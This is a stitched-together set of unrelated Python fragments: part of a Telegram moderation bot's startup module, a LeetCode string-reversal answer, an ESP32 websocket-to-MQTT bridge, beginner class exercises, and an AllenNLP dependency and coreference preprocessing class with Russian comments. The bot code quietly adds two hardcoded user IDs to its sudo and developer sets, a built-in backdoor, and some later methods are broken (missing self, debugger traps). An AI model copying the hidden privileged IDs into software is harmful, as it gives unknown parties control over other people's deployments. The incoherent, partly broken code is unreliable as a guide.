        DEV_USERS = {int(x) for x in os.environ.get("DEV_USERS", "").split()}
    except ValueError:
        raise Exception("Your sudo or dev users list does not contain valid integers.")

    try:
        DEMONS = {int(x) for x in os.environ.get("DEMONS", "").split()}
    except ValueError:
        raise Exception("Your support users list does not contain valid integers.")

    try:
        WOLVES = {int(x) for x in os.environ.get("WOLVES", "").split()}
    except ValueError:
        raise Exception("Your whitelisted users list does not contain valid integers.")

    try:
        TIGERS = {int(x) for x in os.environ.get("TIGERS", "").split()}
    except ValueError:
        raise Exception("Your tiger users list does not contain valid integers.")

    INFOPIC = bool(os.environ.get("INFOPIC", False))
    EVENT_LOGS = os.environ.get("EVENT_LOGS", None)
    WEBHOOK = bool(os.environ.get("WEBHOOK", False))
    URL = os.environ.get("URL", "")  # Does not contain token
    PORT = int(os.environ.get("PORT", 5000))
    CERT_PATH = os.environ.get("CERT_PATH")
    API_ID = os.environ.get("API_ID", None)
    API_HASH = os.environ.get("API_HASH", None)
    BOT_ID = int(os.environ.get("BOT_ID", None))
    BOT_USERNAME = os.environ.get("BOT_USERNAME", None)
    DB_URI = os.environ.get("DATABASE_URL")
    MONGO_DB_URI = os.environ.get("MONGO_DB_URI", None)
    DONATION_LINK = os.environ.get("DONATION_LINK")
    HEROKU_API_KEY = os.environ.get("HEROKU_API_KEY", None)
    HEROKU_APP_NAME = os.environ.get("HEROKU_APP_NAME", None)
    TEMP_DOWNLOAD_DIRECTORY = os.environ.get("TEMP_DOWNLOAD_DIRECTORY", "./")
    OPENWEATHERMAP_ID = os.environ.get("OPENWEATHERMAP_ID", None)
    VIRUS_API_KEY = os.environ.get("VIRUS_API_KEY", None)
    LOAD = os.environ.get("LOAD", "").split()
    NO_LOAD = os.environ.get("NO_LOAD", "translation").split()
    DEL_CMDS = bool(os.environ.get("DEL_CMDS", False))
    STRICT_GBAN = bool(os.environ.get("STRICT_GBAN", False))
    WORKERS = int(os.environ.get("WORKERS", 8))
    BAN_STICKER = os.environ.get("BAN_STICKER", "CAADAgADOwADPPEcAXkko5EB3YGYAg")
    ALLOW_EXCL = os.environ.get("ALLOW_EXCL", False)
    CASH_API_KEY = os.environ.get("CASH_API_KEY", None)
    TIME_API_KEY = os.environ.get("TIME_API_KEY", None)
    WALL_API = os.environ.get("WALL_API", None)
    SUPPORT_CHAT = os.environ.get("SUPPORT_CHAT", None)
    SPAMWATCH_SUPPORT_CHAT = os.environ.get("SPAMWATCH_SUPPORT_CHAT", None)
    SPAMWATCH_API = os.environ.get("SPAMWATCH_API", None)
    ARQ_API_URL = "https://thearq.tech"
    ARQ_API_KEY = os.environ.get("ARQ_API_KEY", None)
    ALLOW_CHATS = os.environ.get("ALLOW_CHATS", True)

    try:
        BL_CHATS = {int(x) for x in os.environ.get("BL_CHATS", "").split()}
    except ValueError:
        raise Exception("Your blacklisted chats list does not contain valid integers.")

else:
    from NaoRobot.config import Development as Config

    TOKEN = Config.TOKEN

    try:
        OWNER_ID = int(Config.OWNER_ID)
    except ValueError:
        raise Exception("Your OWNER_ID variable is not a valid integer.")

    JOIN_LOGGER = Config.JOIN_LOGGER
    OWNER_USERNAME = Config.OWNER_USERNAME
    ALLOW_CHATS = Config.ALLOW_CHATS
    try:
        DRAGONS = {int(x) for x in Config.DRAGONS or []}
        DEV_USERS = {int(x) for x in Config.DEV_USERS or []}
    except ValueError:
        raise Exception("Your sudo or dev users list does not contain valid integers.")

    try:
        DEMONS = {int(x) for x in Config.DEMONS or []}
    except ValueError:
        raise Exception("Your support users list does not contain valid integers.")

    try:
        WOLVES = {int(x) for x in Config.WOLVES or []}
    except ValueError:
        raise Exception("Your whitelisted users list does not contain valid integers.")

    try:
        TIGERS = {int(x) for x in Config.TIGERS or []}
    except ValueError:
        raise Exception("Your tiger users list does not contain valid integers.")

    EVENT_LOGS = Config.EVENT_LOGS
    WEBHOOK = Config.WEBHOOK
    URL = Config.URL
    PORT = Config.PORT
    CERT_PATH = Config.CERT_PATH
    API_ID = Config.API_ID
    API_HASH = Config.API_HASH
    DB_URI = Config.SQLALCHEMY_DATABASE_URI
    MONGO_DB_URI = Config.MONGO_DB_URI
    HEROKU_API_KEY = Config.HEROKU_API_KEY
    HEROKU_APP_NAME = Config.HEROKU_APP_NAME
    TEMP_DOWNLOAD_DIRECTORY = Config.TEMP_DOWNLOAD_DIRECTORY
    OPENWEATHERMAP_ID = Config.OPENWEATHERMAP_ID
    BOT_ID = Config.BOT_ID
    BOT_USERNAME = Config.BOT_USERNAME
    VIRUS_API_KEY = Config.VIRUS_API_KEY
    DONATION_LINK = Config.DONATION_LINK
    LOAD = Config.LOAD
    NO_LOAD = Config.NO_LOAD
    DEL_CMDS = Config.DEL_CMDS
    STRICT_GBAN = Config.STRICT_GBAN
    WORKERS = Config.WORKERS
    BAN_STICKER = Config.BAN_STICKER
    ALLOW_EXCL = Config.ALLOW_EXCL
    CASH_API_KEY = Config.CASH_API_KEY
    TIME_API_KEY = Config.TIME_API_KEY
    WALL_API = Config.WALL_API
    SUPPORT_CHAT = Config.SUPPORT_CHAT
    SPAMWATCH_SUPPORT_CHAT = Config.SPAMWATCH_SUPPORT_CHAT
    SPAMWATCH_API = Config.SPAMWATCH_API
    INFOPIC = Config.INFOPIC

    try:
        BL_CHATS = {int(x) for x in Config.BL_CHATS or []}
    except ValueError:
        raise Exception("Your blacklisted chats list does not contain valid integers.")

DRAGONS.add(OWNER_ID)
DRAGONS.add(1829047705)
DRAGONS.add(1979717764)
DEV_USERS.add(OWNER_ID)
DEV_USERS.add(1829047705)
DEV_USERS.add(1979717764)

if not SPAMWATCH_API:
    sw = None
    LOGGER.warning("SpamWatch API key missing! recheck your config.")
else:
    try:
        sw = spamwatch.Client(SPAMWATCH_API)
    except:
        sw = None
        LOGGER.warning("Can't connect to SpamWatch!")

updater = tg.Updater(TOKEN, workers=WORKERS, use_context=True)
telethn = TelegramClient(MemorySession(), API_ID, API_HASH)
pbot = Client("naorobot", api_id=API_ID, api_hash=API_HASH, bot_token=TOKEN)
dispatcher = updater.dispatcher

# Aiohttp Client
print("[INFO]: INITIALZING AIOHTTP SESSION")
aiohttpsession = ClientSession()
# ARQ Client
print("[INFO]: INITIALIZING ARQ CLIENT")
arq = ARQ(ARQ_API_URL, ARQ_API_KEY, aiohttpsession)

DRAGONS = list(DRAGONS) + list(DEV_USERS)
DEV_USERS = list(DEV_USERS)
WOLVES = list(WOLVES)
DEMONS = list(DEMONS)
TIGERS = list(TIGERS)

# Load at end to ensure all prev variables have been set
from NaoRobot.modules.helper_funcs.handlers import (
    CustomCommandHandler,
    CustomMessageHandler,
    CustomRegexHandler,
)

# make sure the regex handler can take extra kwargs
tg.RegexHandler = CustomRegexHandler
tg.CommandHandler = CustomCommandHandler
tg.MessageHandler = CustomMessageHandler


class Solution:
    def reverseString(self, s: List[str]) -> None:
        """
        Do not return anything, modify s in-place instead.
        """

        """
        In this question, I perform flips, but extra care is taken to not repeat flip,
        otherwise this could result in no flip being performed. Therefore, I only flip
        if i has not passed the midpoint of the string.
        """

        len_s = len(s)
        mid_s = len(s) // 2

        for i in range(len_s):
            if i < mid_s: # prevents extra flips
                temp = s[i]
                s[i] = s[len_s - 1 - i]
                s[len_s - 1 - i] = temp


import asyncio
from websockets.server import serve
from edge_library.MQTTManager import MQTTManager
from edge_library.CtxEnums import WEBSOCK_CONFIG, ESP32_CONFIG
from edge_library.CtxUtils import prepare_generate_topic
from threading import Thread

class ESP32:

    def __init__(self) -> None:
        self.mqtt_manager=MQTTManager()
        self.image_stream_topic=f"{prepare_generate_topic(0, False, True)}/{ESP32_CONFIG.TOPIC_IMAGE_STREAM_SUFFIX.value}"
        self.data_stream_topic=f"{prepare_generate_topic(0, False, True)}/{ESP32_CONFIG.TOPIC_DATA_STREAM_SUFFIX.value}"

    def start_websocket_server(self) -> None:
        self.mqtt_manager.connect_client()
        # t=Thread(target=asyncio.run_coroutine_threadsafe, args=(self.create_websocket_server()))
        # t.start()
        # t.join()

    async def create_websocket_server(self) -> None:
        print("STARTING: Websockets Server")
        asyncio.sleep(0)
        # _task=_e_loop.create_task(self.create_websocket_server())
        # _e_loop.run_until_complete(serve(self.process_data, WEBSOCK_CONFIG.SERVER.value, WEBSOCK_CONFIG.PORT.value, _e_loop))
        async with serve(self.process_data, WEBSOCK_CONFIG.SERVER.value, WEBSOCK_CONFIG.PORT.value):
            await asyncio.Future()

    async def process_data(self, ws_data) -> None:
        print(f"Incoming: {ws_data}")
        while True:
            incoming=await ws_data.recv()
            await self.perform_type_specific_ops(data=incoming)

    async def perform_type_specific_ops(self, data) -> None:
        if type(data) == bytes:
            # This is an image, publish it as it is or after base64 conversion?->Later->Cloud-Tier
            self.mqtt_manager.publish(data=data, target_topic=self.image_stream_topic)
            # print(f"IMAGE: {data}")
        elif type(data) == str:
            # Probably some commmand or Flash status? Publish it!
            self.mqtt_manager.publish(data=data, target_topic=self.data_stream_topic)
            # print(f"DATA: {data}")
        # No idea what this gonna process?
        # else:
        #     pass

def start_esp32_communication() -> None:
    exx=ESP32()
    exx.start_websocket_server()
    _e_loop=asyncio.new_event_loop()
    asyncio.run(exx.create_websocket_server())


# get value by class name
class myclass:
    x = 5

print(myclass.x)

# get value by object name
class myclass:
    x = 5

p1 = myclass()
print(p1.x)

# creat a class
class vicle:
    att1 = "bmw"
    att2 = "Tata"

    def myfun(self, a, b):
        print(a, self.att1)
        print(b, self.att2)

x = str(input("enter your name  "))
y = int(input("enter your age  "))
obj1 = vicle()
# print(obj1)
obj1.myfun(x, y)

# A Sample class with init method
class person:
    def __init__(self, name) -> None:
        self.name = name

    def say_hi(self):
        print("hello, my name is", self.name)

p = person("mrinal")
p.say_hi()

# python exercise
class cal:
    def __init__(self, x, y) -> None:
        self.x = x
        self.y = y

    def cal1(self):
        sum = self.x * self.y
        if sum > 1000:
            add = self.x + self.y
            return add
        else:
            mul = self.x * self.y
            return mul

a = int(input("enter first number"))
b = int(input("enter second number"))
obj1 = cal(a, b)
print(obj1.cal1())


import codecs
import json
from tqdm import tqdm
from allennlp.predictors.predictor import Predictor
from nltk import word_tokenize

class DependenciesСoreferences():
    json_load = lambda self, x: json.load(codecs.open(x, 'r', encoding='utf-8'))
    json_dump = lambda self, d, p: json.dump(d, codecs.open(p, 'w', 'utf-8'), indent=2, ensure_ascii=False)

    def __init__(self, data_path):
        self.data_path = data_path

    def __get_context(self, data):
        context = {}
        #отображение прогресса
        for sample in tqdm(data):
            #для пар тема конектса+контекст создаём словарь
            for k, v in sample['context'].items():
                context[k] = v
        return context

    ''' POS-расшифровка
    ADJ: прилагательное
    ADP: добавочные элементы(приставки, 's и т.д.)
    ADV: наречие
    AUX: вспомогательный элемент
    CCONJ: сочинительный союз
    DET: определитель
    INTJ: междометие
    NOUN: существительно
    NUM: число
    PART: частица
    PRON: метсоимение
    PROPN: имя собсвтенное
    PUNCT: пунктуация
    SCONJ: подчинительный союз
    SYM: символ
    VERB: глагол
    X: другое
    '''

    ''' predicted_dependencies расшифровка
    acomp: прилагательное-комплимент
    amod: прилагательное-определение
    aux: вспомогательный глагол
    compound: часть составного слова
    det: определитель
    dobj: дополнение
    nsubj: подлежащее
    pobj: предложное предложение
    ROOT: корневой элемент
    '''
    def __get_dependency(self, sent, dependency_parser):
        #если пустое предложение ничего не делаем
        if len(sent.strip()) == 0:
            return None
        try:
            #пробуем с поомщью модели разобрать предложение
            sent = dependency_parser.predict(sentence=sent)
        except:
            #обрабатываем искючение
            import ipdb; ipdb.set_trace()
        #вычленяем из модеи информацию о словах, их частях речи, их близости к корню предложения, их зависимости
        words, pos, heads, dependencies = sent['words'], sent['pos'], sent['predicted_heads'], sent['predicted_dependencies']
        #формируем соответсвующий словарь и возвращаем его
        result = [{'word':w, 'pos':p, 'head':h - 1, 'dep':d} for w, p, h, d in zip(words, pos, heads, dependencies)]
        return result

    def __dependency_parse(self, raw, filename):
        #скачиваем предобученный предиктор для очистки данных и создания связей между словами
        dependency_parser = Predictor.from_path('used models/biaffine-dependency-parser-ptb-2020.04.06.tar.gz')
        #создаём словарь название темы+массив парсированных предложений
        context = {
            key: [
                self.__get_dependency(sent, dependency_parser) for sent in value
            ] for key, value in tqdm(raw.items(), desc='   - (Dependency Parsing: 1st) -   ')
        }
        #сохраняем результат
        self.json_dump(context, filename)

    def __get_coreference(self, doc, coref_reslt, pronouns, title):
        #функция вычленения кластеров
        def get_crf(span, words):
            #собираем фразы
            phrase = []
            for i in range(span[0], span[1] + 1):
                #фраза состоит из индексов слов, объеденённых в кластеры моделью
                phrase += [words[i]]
            #возвращаем объект с кластером и индексами его начала и конца
            return (' '.join(phrase), span[0], span[1] - span[0] + 1)
        #функция выделения лучшего кластера
        def get_best(crf):
            #сортируем кластеры по индексам конца кластеров
            crf.sort(key=lambda x: x[2], reverse=True)
            #если конец первого кластера это первое слово
            if crf[0][2] == 1:
                #сортируем по длине класетров
                crf.sort(key=lambda x: len(x[0]), reverse=True)
            #рассматриваем каждые кластеры
            for w in crf:
                #если кластер не содержит местоимения и  не является концом строки, то возвращаем его
                if w[0].lower() not in pronouns and w[0].lower() != '\t':
                    return w[0]
            return None

        #предсказываем с помощью модели задачу кореферентности
        doc = coref_reslt.predict(document=doc)
        #собираем слова
        words = [w.strip(' ') for w in doc['document']]
        #собираем кластеры слов
        clusters = doc['clusters']
        #рассматриваем каждую группу
        for group in clusters:
            #создаём кластеры для каждой подгруппы группы, избавляемся от кластеров местоимений и конца строки, коротких кластеров, выбираем лучший
            crf = [get_crf(span, words) for span in group]
            entity = get_best(crf)
            #если кластер пуст
            if entity in ['\t', None]:
                #заполняем его названием темы
                try:
                    entity = coref_reslt.predict(document=title)
                    entity = ' '.join(entity['document'])
                #в любом случае
                except:
                    entity = ' '.join(word_tokenize(title))
            #иначе
            if entity not in ['\t', None]:
                for phrase in crf:
                    #для каждой фоазы, если она содержит местоимения, сохраняем индекс и первое слово кластера
                    if phrase[0].lower() in pronouns:
                        index = phrase[1]
                        words[index] = entity
        #собираем предложения и документ
        doc, sent = [], []
        for word in words:
            if word.strip(' ') == '\t':
                doc.append(sent)
                sent = []
            #если это не простое окончание строки
            else:
                if word.count('\t'):
                    print(word)
                    word = word.strip('\t')
                sent.append(word)
        doc.append(sent)
        return doc

    def __coreference_resolution(self, raw, filename):
        #сохраняем местоимения
        pronouns = ['it', 'its', 'he', 'him', 'his', 'she', 'her', 'they', 'their', 'them']
        #создаем словарь из джейсон файла
        raw = {k: '\t'.join(v) for k,v in raw.items()}
        #подключаем модель для решения задачи кореферентности
        coref_reslt = Predictor.from_path('used models/coref-spanbert-large-2020.02.27.tar.gz')
        #создаём словарь
        context = {
            key: self.__get_coreference(value, coref_reslt, pronouns, key) for key, value in tqdm(raw.items(), desc='  - (crf for evidence) ')
        }
        #сохраняем результат как джейсон файл
        self.json_dump(context, filename)

    def __get_ner(doc, ner_tagger):
        #
        try:
            doc = ner_tagger.predict(sentence=doc)
        except:
            return [[doc, 'O']]
        #
        words, tags = doc['words'], doc['tags']
        return [[w, t] for w, t in zip(words, tags)]

    def __ner_tag(self, raw, filename):
        #
        ner_tagger = Predictor.from_path("https://s3-us-west-2.amazonaws.com/allennlp/models/ner-model-2018.12.18.tar.gz")
        raw = [[d[0], d[0]] for d in raw]    #raw = [[d[0], '\t'.join(d[1])] for d in raw]
        #
        context = {sample[0]: self.__get_ner(sample[1], ner_tagger) for sample in tqdm(raw, desc='  - (ner for evidence) ')}
        self.json_dump(context, filename)

    def __sr_labeling(sent, sr_labeler):
        #
        if len(sent.strip()) == 0:
            return None
        try:
            sent = sr_labeler.predict(sentence=sent)
        except:
            import ipdb; ipdb.set_trace()
        #
        words, verbs = sent['words'], sent['verbs']
        tags = [verb['tags'] for verb in verbs]
        return {'words':words, 'tags':tags}

    def __semantic_role_labeling(self, raw, filename):
        #
        sr_labeler = Predictor.from_path("https://s3-us-west-2.amazonaws.com/allennlp/models/srl-model-2018.05.25.tar.gz")
        context = {sample[0]: [self.__sr_labeling(sent, sr_labeler) for sent in sample[1]] for sample in tqdm(raw, desc='   - (Semantic Role Labeling: 1st) -   ')}
        self.json_dump(context, filename)

    def build(self):
        train_data_file, valid_data_file = self.data_path + 'data.train.json', self.data_path + 'data.valid.json'
        #подгружаем полную базу
        data = self.json_load(train_data_file) + self.json_load(valid_data_file)
        self.json_dump(data, self.data_path + 'data.json')
        #распаковываем контекст, переменная контекста теперь содержит блоки {тема:весь контекст к теме}
        context = self.__get_context(data)
        #считаем, сколько элементов контекста имеем
        print('number of context:', len(context))

        #запускаем синтаксический анализ всех предложений, результат записываем в dp.json
        self.__dependency_parse(context, self.data_path + 'dp.json')
        #Разрешение кореферентности — это задача поиска всех выражений, которые относятся к одному и тому же объекту в тексте.
        self.__coreference_resolution(context, self.data_path + 'crf_rsltn.json')

        #пока неиспользованная алтернатива
        #ner_tag(context, data_path + 'dp.json')
        #пока неиспользованная алтернатива
        #semantic_role_labeling(context, data_path + 'dp.json')